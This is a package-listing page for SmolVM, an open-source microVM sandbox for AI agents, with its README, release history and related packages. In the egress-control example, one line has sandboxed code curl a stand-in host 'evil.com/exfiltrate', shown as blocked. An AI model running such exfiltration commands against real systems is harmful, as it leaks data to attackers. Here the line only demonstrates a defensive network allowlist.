freshcrate
Skin:/
Home > Security > SmolVM

SmolVM

Open-source sandboxes for code execution, browser use, and AI agents.

Why this rank:Strong adoptionRecent releaseHealthy release cadence

Description

Open-source sandboxes for code execution, browser use, and AI agents.

README

SmolVM

Secure, isolated computers that AI agents can use to browse, run code, and get real work done.

CodeQL Run Tests License Python 3.10+

Quick start โ€ข Examples โ€ข Features โ€ข Performance โ€ข Docs โ€ข Community Slack


SmolVM gives AI agents their own disposable computer. Each microVM boots in milliseconds, runs any code or software you throw at it, keeps state when you need it, and vanishes when you don't โ€” nothing touches your host.

Features

  • Sub-second boot โ€” VMs ready in ~500 ms.
  • Hardware isolation โ€” Stronger security than containers.
  • Network controls โ€” Domain allowlists for egress filtering.
  • Browser sessions โ€” Full browser agents can see and control.
  • Host mounts โ€” Give sandboxes read access to local directories.
  • Snapshots โ€” Save and restore VM state instantly.
  • OpenClaw โ€” GUI Linux apps inside a sandbox.

Use cases

  • Run untrusted code safely. Execute AI-generated code in an isolated sandbox instead of on your machine.
  • Give agents a browser. Spin up a full browser session that agents can see and control in real time.
  • Let agents read your project. Mount a local directory so agents can explore your codebase inside a sandbox.
  • Keep state across turns. Reuse the same sandbox throughout a multi-step workflow.

Quickstart

Install SmolVM with a single command:

curl -sSL https://celesto.ai/install.sh | bash

This installs everything you need (including Python), configures your machine, and verifies the setup.

Manual installation
pip install smolvm
smolvm setup
smolvm doctor

On supported Linux and macOS systems, pip install smolvm also pulls in the matching smolvm-core wheel automatically. Most users do not need Rust installed.

Linux may prompt for sudo during setup so it can install host dependencies and configure runtime permissions.

For golden-AMI builds, two-stage deploys, pinning the Firecracker version, and other non-default install paths, see docs/installation.md.

Start a sandbox in Python

from smolvm import SmolVM

vm = SmolVM()
result = vm.run("echo 'Hello from the sandbox!'")
print(result)
vm.stop()

Start a sandbox from the CLI

Create a sandbox, check that it's running, then stop it:

smolvm create --name my-sandbox
# my-sandbox  running  172.16.0.2

smolvm list
# NAME         STATUS   IP
# my-sandbox   running  172.16.0.2

smolvm stop my-sandbox

Open a shell inside a running sandbox:

smolvm ssh my-sandbox

Browser sessions

SmolVM can also start a full browser inside a sandbox. This is useful when agents need to navigate websites, fill out forms, or take screenshots.

Start a browser session with a live view you can watch in your own browser:

smolvm browser start --live
# Session:   sess_a1b2c3
# Live view: http://localhost:6080

Open the URL to watch the browser in real time. When you're done, list and stop sessions:

smolvm browser list
smolvm browser stop sess_a1b2c3

See examples/browser_session.py for the Python equivalent.

Network controls

By default, sandboxes have full internet access. You can restrict which domains a sandbox can reach by passing internet_settings:

from smolvm import SmolVM

vm = SmolVM(internet_settings={
    "allowed_domains": ["https://api.openai.com"],
})

vm.run("curl https://api.openai.com/v1/models")    # allowed
vm.run("curl https://evil.com/exfiltrate")         # blocked

See docs/concepts/network-egress-controls.md for how it works under the hood.

Mount host directories

You can give a sandbox read access to a folder on your machine. This is useful when an agent needs to work with an existing project without copying files back and forth.

smolvm create --mount ~/Projects/my-app
smolvm ssh my-sandbox
ls /workspace   # your host files appear here

The host folder is read-only โ€” the sandbox can read every file, but changes stay inside the sandbox and never touch the originals. If the agent creates or edits files under /workspace, those changes live only in the VM's overlay layer.

Mount at a custom path, or mount multiple directories:

smolvm create --mount ~/Projects/my-app:/code --mount ~/data:/mnt/data

The same works from Python:

from smolvm import SmolVM

with SmolVM(mounts=["~/Projects/my-app"]) as vm:
    result = vm.run("ls /workspace")
    print(result.stdout)

Note: This feature is read-only for now. Any changes you make inside the sandbox do not travel back to the host. Write-back support is planned for a future release.

Examples

Getting started

What you'll learn Example
Run code in a sandbox quickstart_sandbox.py
Start a browser session browser_session.py
Pass environment variables into a sandbox env_injection.py

Agent framework integrations

These examples show how to wrap SmolVM as a tool for popular agent frameworks, so an AI model can run shell commands or drive a browser through your sandbox.

Framework Example
OpenAI Agents openai_agents_tool.py
LangChain langchain_tool.py
PydanticAI โ€” shell tool pydanticai_tool.py
PydanticAI โ€” reusable sandbox across turns pydanticai_reusable_tool.py
PydanticAI โ€” browser automation pydanticai_agent_browser.py
Computer use (click and type) computer_use_browser.py

Advanced

What it does Example
Install and run OpenClaw inside a Debian sandbox with a 4 GB root filesystem openclaw.py

Each script shows its own pip install ... line when it needs extra packages.

Security

SmolVM automatically trusts new sandboxes on first connection to keep setup simple. This is safe for local development, but you should not expose sandbox network ports publicly without extra controls. See SECURITY.md for the full policy and scope.

Performance

Median lifecycle timings on a standard Linux host:

Phase Time
Create + Start ~572 ms
Ready to accept commands ~2.1 s
Command execution ~43 ms
Stop + Delete ~751 ms
Full lifecycle (boot, run, teardown) ~3.5 s

Run the benchmark yourself:

python3 scripts/benchmarks/bench_subprocess.py --vms 10 -v

Measured on AMD Ryzen 7 7800X3D (8C/16T), Ubuntu Linux. SmolVM uses Firecracker, a lightweight virtual machine manager built for running thousands of secure, fast micro-VMs.

Contributing

See CONTRIBUTING.md to get started.

License

Apache 2.0 โ€” see LICENSE for details.


Built with ๐Ÿงก in London by Celesto AI

Release History

VersionChangesUrgencyDate
v0.0.18## What's Changed * Add space-saving diff snapshots via --snapshot-type (QEMU + Firecracker) by @aniketmaurya in https://github.com/CelestoAI/SmolVM/pull/317 * feat(qemu): host TAP networking mode for the QEMU backend by @aniketmaurya in https://github.com/CelestoAI/SmolVM/pull/318 * Fix 8s QEMU sandbox startup + boot-latency improvements by @aniketmaurya in https://github.com/CelestoAI/SmolVM/pull/319 * Release 0.0.18 by @aniketmaurya in https://github.com/CelestoAI/SmolVM/pull/320 **FHigh6/2/2026
v0.0.16## What's Changed * fix(cli): show Linux QEMU install hint by @aniketmaurya in https://github.com/CelestoAI/SmolVM/pull/295 * fix(kernel): enable Podman Netavark networking by @aniketmaurya in https://github.com/CelestoAI/SmolVM/pull/296 * fix(kernel): pin NETFILTER_ADVANCED and NETFILTER_XTABLES =y by @aniketmaurya in https://github.com/CelestoAI/SmolVM/pull/297 * fix(ci): skip kernel upload if asset already exists at target tag by @aniketmaurya in https://github.com/CelestoAI/SmolVM/pull/2High5/26/2026
v0.0.15## What's Changed * Init scripts: parse cmdline netmask and gateway DNS by @aniketmaurya in https://github.com/CelestoAI/SmolVM/pull/284 * feat(cli): add `smolvm file download` by @aniketmaurya in https://github.com/CelestoAI/SmolVM/pull/287 * Bump version to 0.0.15a0 by @aniketmaurya in https://github.com/CelestoAI/SmolVM/pull/288 * Add legacy report fetcher computer-use demo by @aniketmaurya in https://github.com/CelestoAI/SmolVM/pull/291 * fix(security): replace SSH AutoAddPolicy with WaHigh5/9/2026
v0.0.14.1## What's Changed * docs: microVM from first principles by @aniketmaurya in https://github.com/CelestoAI/SmolVM/pull/278 * [smolvm-core] Rust binding version bump 0.0.11 to 0.0.14 by @aniketmaurya in https://github.com/CelestoAI/SmolVM/pull/277 * Add --os flag to preset start command for OS selection by @aniketmaurya in https://github.com/CelestoAI/SmolVM/pull/270 * fix(kernel): enable 9p + overlay for workspace mounts by @aniketmaurya in https://github.com/CelestoAI/SmolVM/pull/279 * ci: rHigh5/6/2026
v0.0.13## What's Changed * docs(readme): revamp intro and features section by @aniketmaurya in https://github.com/CelestoAI/SmolVM/pull/223 * [codex] add sandbox file upload by @aniketmaurya in https://github.com/CelestoAI/SmolVM/pull/224 * feat(presets): add `smolvm openclaw start` and `smolvm hermes start` by @aniketmaurya in https://github.com/CelestoAI/SmolVM/pull/225 * Bump version to 0.0.13 by @aniketmaurya in https://github.com/CelestoAI/SmolVM/pull/226 **Full Changelog**: https://githuHigh5/2/2026
v0.0.12## What's Changed * feat(presets): add `smolvm pi start` for the Pi coding agent by @aniketmaurya in https://github.com/CelestoAI/SmolVM/pull/220 * feat(cli): add --writable-mounts so guest writes reach the host by @aniketmaurya in https://github.com/CelestoAI/SmolVM/pull/221 * Bump version from 0.0.11 to 0.0.12 by @aniketmaurya in https://github.com/CelestoAI/SmolVM/pull/222 **Full Changelog**: https://github.com/CelestoAI/SmolVM/compare/v0.0.11...v0.0.12High4/28/2026
v0.0.11## What's Changed * fix(facade): auto-select QEMU when --mount is used without a backend by @aniketmaurya in https://github.com/CelestoAI/SmolVM/pull/179 * docs: Add macOS-specific developer setup guidance by @SauravMishraaa in https://github.com/CelestoAI/SmolVM/pull/182 * tap.rs: retry on EBUSY during TAP device creation (Rust path) by @fuleinist in https://github.com/CelestoAI/SmolVM/pull/183 * cli/sdk: rename memory/disk-size flags and bump debian/ubuntu disk default by @aniketmaurya in High4/27/2026
v0.0.10## What's Changed * refactor: group modules into runtime/host/images/cli subpackages by @aniketmaurya in https://github.com/CelestoAI/SmolVM/pull/163 * feat: boot --os debian from prebuilt cloud image, no host Docker by @aniketmaurya in https://github.com/CelestoAI/SmolVM/pull/164 * Bump version to 0.0.10a0 by @aniketmaurya in https://github.com/CelestoAI/SmolVM/pull/165 * ci: relax release preflight to decouple smolvm and smolvm-core by @aniketmaurya in https://github.com/CelestoAI/SmolVM/pHigh4/19/2026
v0.0.10a0## What's Changed * refactor: group modules into runtime/host/images/cli subpackages by @aniketmaurya in https://github.com/CelestoAI/SmolVM/pull/163 * feat: boot --os debian from prebuilt cloud image, no host Docker by @aniketmaurya in https://github.com/CelestoAI/SmolVM/pull/164 * Bump version to 0.0.10a0 by @aniketmaurya in https://github.com/CelestoAI/SmolVM/pull/165 * ci: relax release preflight to decouple smolvm and smolvm-core by @aniketmaurya in https://github.com/CelestoAI/SmolVM/pHigh4/15/2026
v0.0.9## What's Changed * docs: document --skip-deps flag in install script by @aniketmaurya in https://github.com/CelestoAI/SmolVM/pull/139 * fix: pass --skip-deps to smolvm setup in install script by @aniketmaurya in https://github.com/CelestoAI/SmolVM/pull/140 * feat: add virtio-vsock support for Firecracker VMs by @aniketmaurya in https://github.com/CelestoAI/SmolVM/pull/141 * feat: PyO3 Rust extension for fast network operations by @aniketmaurya in https://github.com/CelestoAI/SmolVM/pull/144High4/13/2026
v0.0.9a1## What's Changed * fix: default to QEMU backend on macOS by @aniketmaurya in https://github.com/CelestoAI/SmolVM/pull/155 * fix: improve cross-platform UX for smolvm setup flags by @aniketmaurya in https://github.com/CelestoAI/SmolVM/pull/158 * Bump version from 0.0.9a0 to 0.0.9a1 by @aniketmaurya in https://github.com/CelestoAI/SmolVM/pull/159 **Full Changelog**: https://github.com/CelestoAI/SmolVM/compare/v0.0.9a0...v0.0.9a1Medium4/13/2026
v0.0.9a0## What's Changed * docs: document --skip-deps flag in install script by @aniketmaurya in https://github.com/CelestoAI/SmolVM/pull/139 * fix: pass --skip-deps to smolvm setup in install script by @aniketmaurya in https://github.com/CelestoAI/SmolVM/pull/140 * feat: add virtio-vsock support for Firecracker VMs by @aniketmaurya in https://github.com/CelestoAI/SmolVM/pull/141 * feat: PyO3 Rust extension for fast network operations by @aniketmaurya in https://github.com/CelestoAI/SmolVM/pull/144Medium4/12/2026
v0.0.8## What's Changed * feat: block-level CoW rootfs for faster VM startup by @aniketmaurya in https://github.com/CelestoAI/SmolVM/pull/115 * fix: fall back to default SmolVM key when smolvm ssh has no key configured by @aniketmaurya in https://github.com/CelestoAI/SmolVM/pull/117 * feat: add S3-backed image registry support (Phase 2a) by @aniketmaurya in https://github.com/CelestoAI/SmolVM/pull/118 * feat: support S3-compatible stores via SMOLVM_S3_* env vars by @aniketmaurya in https://github.High4/10/2026
v0.0.8.dev0## What's Changed * feat: block-level CoW rootfs for faster VM startup by @aniketmaurya in https://github.com/CelestoAI/SmolVM/pull/115 * fix: fall back to default SmolVM key when smolvm ssh has no key configured by @aniketmaurya in https://github.com/CelestoAI/SmolVM/pull/117 * feat: add S3-backed image registry support (Phase 2a) by @aniketmaurya in https://github.com/CelestoAI/SmolVM/pull/118 * feat: support S3-compatible stores via SMOLVM_S3_* env vars by @aniketmaurya in https://github.Medium4/8/2026
v0.0.7## What's Changed * Add extras for agent tool examples by @aniketmaurya in https://github.com/CelestoAI/SmolVM/pull/81 * Reframe README around agent use cases by @aniketmaurya in https://github.com/CelestoAI/SmolVM/pull/82 * Add PydanticAI agent-browser example by @aniketmaurya in https://github.com/CelestoAI/SmolVM/pull/83 * Fix PydanticAI example imports in CI by @aniketmaurya in https://github.com/CelestoAI/SmolVM/pull/84 * remove-artificats by @aniketmaurya in https://github.com/CelestoHigh4/5/2026
v0.0.7.dev0## What's Changed * Add extras for agent tool examples by @aniketmaurya in https://github.com/CelestoAI/SmolVM/pull/81 * Reframe README around agent use cases by @aniketmaurya in https://github.com/CelestoAI/SmolVM/pull/82 * Add PydanticAI agent-browser example by @aniketmaurya in https://github.com/CelestoAI/SmolVM/pull/83 * Fix PydanticAI example imports in CI by @aniketmaurya in https://github.com/CelestoAI/SmolVM/pull/84 * remove-artificats by @aniketmaurya in https://github.com/CelestoMedium4/3/2026
v0.0.6## What's Changed * Fix flaky prerelease UI CLI test by @aniketmaurya in https://github.com/CelestoAI/SmolVM/pull/62 * Follow-up: improve Docker daemon image-build errors by @aniketmaurya in https://github.com/CelestoAI/SmolVM/pull/66 * feat: add VM process inspection via dashboard API and UI by @Copilot in https://github.com/CelestoAI/SmolVM/pull/67 * chore(deps): bump the npm_and_yarn group across 1 directory with 1 update by @dependabot[bot] in https://github.com/CelestoAI/SmolVM/pull/68 Medium3/28/2026
v0.0.5## What's Changed * Codex-generated pull request by @aniketmaurya in https://github.com/CelestoAI/SmolVM/pull/27 * Follow-up: add pytest CI workflow using Python 3.14 + uv by @aniketmaurya in https://github.com/CelestoAI/SmolVM/pull/25 * docs(security): clarify SSH host-key trust model and guidance by @aniketmaurya in https://github.com/CelestoAI/SmolVM/pull/28 * feat(ui): add dual-mode dashboard by @tad-20 in https://github.com/CelestoAI/SmolVM/pull/29 * feat(dashboard): publish and auto-fLow3/9/2026
v0.0.5.a1## What's Changed * feat(dashboard): add --allow-beta gate for prerelease UI assets by @aniketmaurya in https://github.com/CelestoAI/SmolVM/pull/34 * Change CLI command: smolvm dashboard -> smolvm ui by @tad-20 in https://github.com/CelestoAI/SmolVM/pull/35 * Update package-ecosystem to 'uv' in dependabot.yml by @aniketmaurya in https://github.com/CelestoAI/SmolVM/pull/36 * Follow-up: exclude `ui/` from Hatch package artifacts by @aniketmaurya in https://github.com/CelestoAI/SmolVM/pull/38 Low3/8/2026
v0.0.5.a0## What's Changed * Codex-generated pull request by @aniketmaurya in https://github.com/CelestoAI/SmolVM/pull/27 * Follow-up: add pytest CI workflow using Python 3.14 + uv by @aniketmaurya in https://github.com/CelestoAI/SmolVM/pull/25 * docs(security): clarify SSH host-key trust model and guidance by @aniketmaurya in https://github.com/CelestoAI/SmolVM/pull/28 * feat(ui): add dual-mode dashboard by @tad-20 in https://github.com/CelestoAI/SmolVM/pull/29 * feat(dashboard): publish and auto-fLow2/19/2026
v0.0.4## What's Changed * chore: format code by @tad-20 in https://github.com/CelestoAI/SmolVM/pull/16 * Chore/add precommit hooks by @tad-20 in https://github.com/CelestoAI/SmolVM/pull/17 * fix: update pre-commit config and apply auto-fixes by @tad-20 in https://github.com/CelestoAI/SmolVM/pull/18 * Dashboard backend bridge by @tad-20 in https://github.com/CelestoAI/SmolVM/pull/19 * perf: 74% lifecycle speedup โ€” paramiko persistent SSH + fast VM stop by @aniketmaurya in https://github.com/CeleLow2/19/2026
v0.0.1# SmolVM Launching a secure runtime for AI agents and tools. Run agents like OpenClaw securely with few lines of code. ## New Contributors * @tad-20 and @aniketmaurya **Full Changelog**: https://github.com/CelestoAI/SmolVM/commits/v0.0.1 Low2/15/2026

Dependencies & License Audit

Loading dependencies...

Similar Packages

OpenSandboxSecure, Fast, and Extensible Sandbox runtime for AI agents.docker/egress/v1.0.13
runtmOpen-source sandboxes where coding agents build and deploy. Spin up isolated environments where Claude Code, Cursor, and other agents code and deploy software.main@2026-05-25
Auto-UseAuto-Use Computer Use โ€” drives your OS, browser, scours the web, writes your code. One agent, end to end.v1.3
cuaOpen-source infrastructure for Computer-Use Agents. Sandboxes, SDKs, and benchmarks to train and evaluate AI agents that can control full desktops (macOS, Linux, Windows).cua-driver-v0.2.0
cohere-terrariumA simple Python sandbox for helpful LLM data agentsv1.0.1

More in Security

AgenvoyAgentic framework | Self-improving memory | Pluggable tool extensions | Sandbox execution
clineAutonomous coding agent right in your IDE, capable of creating/editing files, executing commands, using the browser, and more with your permission every step of the way.
E2BOpen-source, secure environment with real-world tools for enterprise-grade agents.
OpenSandboxSecure, Fast, and Extensible Sandbox runtime for AI agents.